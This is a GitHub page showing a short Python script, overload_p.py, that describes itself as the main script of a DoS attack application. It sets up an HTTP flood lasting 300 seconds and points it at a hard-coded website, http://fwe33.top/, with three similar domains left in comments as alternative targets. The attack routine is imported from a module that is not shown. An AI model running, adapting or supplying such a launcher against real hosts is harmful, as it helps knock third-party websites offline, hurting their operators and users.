-
Notifications
You must be signed in to change notification settings - Fork 4
/
overload_p.py
53 lines (44 loc) · 1.38 KB
/
overload_p.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
"""Main script to start GUI DoS attack application."""
# -*- coding: utf-8 -*-
import os
import sys
from colorama import Fore
os.chdir(os.path.dirname(os.path.realpath(__file__)))
#os.system("cls" if os.name == "nt" else "clear")
try:
from tools.addons.checks import (
check_method_input,
check_number_input,
check_target_input,
)
#from tools.addons.logo import show_logo
from tools.method import AttackMethod
except (ImportError, NameError) as err:
print("\nFailed to import something", err)
def main() -> None:
"""Run main application."""
#show_logo()
try:
method = "http"
time = 300
threads = 1
sleep_time = check_number_input("sleep time") if "slowloris" in method else 0
#target = "http://fwe22.top/"
#target = "http://fwe88.top/"
#target = "http://fwe55.top/"
target = "http://fwe33.top/"
with AttackMethod(
duration=time,
method_name=method,
threads=threads,
target=target,
sleep_time=sleep_time,
) as attack:
attack.start()
except KeyboardInterrupt:
print(
f"\n\n{Fore.RED}[!] {Fore.MAGENTA}Ctrl+C detected. Program closed.\n\n{Fore.RESET}"
)
sys.exit(1)
if __name__ == "__main__":
main()